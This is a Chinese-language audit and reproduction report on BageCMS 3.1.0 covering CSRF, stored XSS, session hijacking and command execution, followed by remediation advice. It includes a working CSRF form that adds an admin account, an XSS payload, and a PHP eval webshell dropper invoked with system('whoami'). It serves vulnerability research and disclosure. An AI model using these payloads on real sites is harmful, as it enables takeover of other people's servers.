审计挖掘---CNVD通用漏洞
字数 1345 2025-08-05 00:15:18
BageCMS 3.1.0 漏洞审计与复现报告
一、环境搭建
-
源码获取:
- 下载地址:http://61.155.169.167:81/uploads/userup/1870/bagecms.zip
- 解压后将
upload文件夹放置于PHPStudy的WWW目录下
-
数据库导入:
- 导入提供的
.sql数据库备份文件到本地数据库管理器
- 导入提供的
-
安装向导:
- 访问安装页面:
http://xxx.com/bagecms3.1.0/upload//index.php?r=install - 配置数据库信息(服务器名称、数据库名称、用户名、密码)
- 完成安装
- 访问安装页面:
二、框架分析
核心文件结构
-
入口文件:
index.php$framework = dirname(__FILE__) . '/framework/yiilite.php'; $config = dirname(__FILE__) . '/protected/config/main.php'; define('WWWPATH', str_replace(array('\\', '\\\\'), '/', dirname(__FILE__))); define('DS', DIRECTORY_SEPARATOR); require_once ($framework); Yii::createWebApplication($config)->run(); -
Yii框架文件:
framework/yiilite.php- 将常用类打包,减少include调用
- 移除了trace()调用和注释
- 减少被引用文件数量,避免执行跟踪语句
-
配置文件:
protected/config/main.php- 包含数据库配置、URL路由规则等
- 关键URL路由配置:
'urlManager'=>array( 'showScriptName'=>true, 'rules'=>array( 'post/<id:\d+>/*'=>'post/show', 'post/<id:\d+>_<title:\w+>/*'=>'post/show', 'post/catalog/<catalog:[\w-_]+>/*'=>'post/index', 'page/show/<name:\w+>/*'=>'page/show', 'special/show/<name:[\w-_]+>/*'=>'special/show', '<controller:\w+>/<action:\w+>'=>'<controller>/<action>', ) )
三、漏洞分析与复现
1. CSRF跨站请求伪造
漏洞位置:后台用户添加功能
复现步骤:
- 使用Burp Suite抓取添加用户的POST请求
- 右键选择"相关工具"→"CSRF POC生成"
- 将生成的HTML代码保存为攻击页面
- 诱使管理员访问该页面
POC示例:
<form action="http://网站IP/bagecms3.1.0/upload/index.php?r=admini/admin/create" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="123456">
<input type="hidden" name="email" value="attacker@example.com">
<input type="submit" value="Submit">
</form>
2. 存储型XSS漏洞
漏洞位置:后台站点设置模块
复现步骤:
- 登录后台,进入站点设置
- 在任意文本字段(如地址、电话等)插入XSS代码:
<script>alert(111)</script> - 保存设置
- 访问前台页面触发XSS
漏洞原理:
- 后台输入未过滤直接存储到数据库
- 前台通过
footer.php直接输出:<p class="home"><?php echo $this->_conf['_address']?></p>
3. 会话劫持攻击
漏洞位置:会话管理机制
复现步骤:
- 获取合法用户的PHPSESSID(可通过XSS或其他方式)
- 在未登录的浏览器中修改Cookie:
Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3 - 直接访问后台功能,如文件删除:
POST /bagecms3.1.0/upload/index.php?r=admini/file/delete HTTP/1.1
4. 命令执行漏洞
漏洞位置:后台站点配置修改功能
复现步骤:
- 登录后台,进入站点配置
- 在
question/index.php末尾添加恶意代码:<?php file_put_contents("su.php","<?php @eval($_POST[cmd]);?>");?> - 访问触发页面:
http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index - 生成WebShell文件
su.php - 使用蚁剑等工具连接:
POST /su.php HTTP/1.1 cmd=system("whoami");
四、修复建议
-
CSRF防护:
- 添加CSRF Token验证
- 关键操作使用POST请求
-
XSS防护:
- 输入输出过滤,使用
htmlspecialchars() - 设置HTTP头
X-XSS-Protection
- 输入输出过滤,使用
-
会话安全:
- 会话ID使用HttpOnly和Secure标志
- 实现会话固定保护
-
命令执行防护:
- 禁用危险函数如
eval() - 配置文件设置只读权限
- 实现文件修改审计
- 禁用危险函数如
-
框架加固:
- 及时更新Yii框架版本
- 限制后台访问IP
五、总结
本报告详细分析了BageCMS 3.1.0中存在的多个安全漏洞,包括CSRF、XSS、会话劫持和命令执行漏洞。这些漏洞的组合利用可能导致完全控制网站系统。建议用户及时更新或采取相应防护措施。
注意:本报告仅用于安全研究目的,未经授权测试他人系统属于违法行为。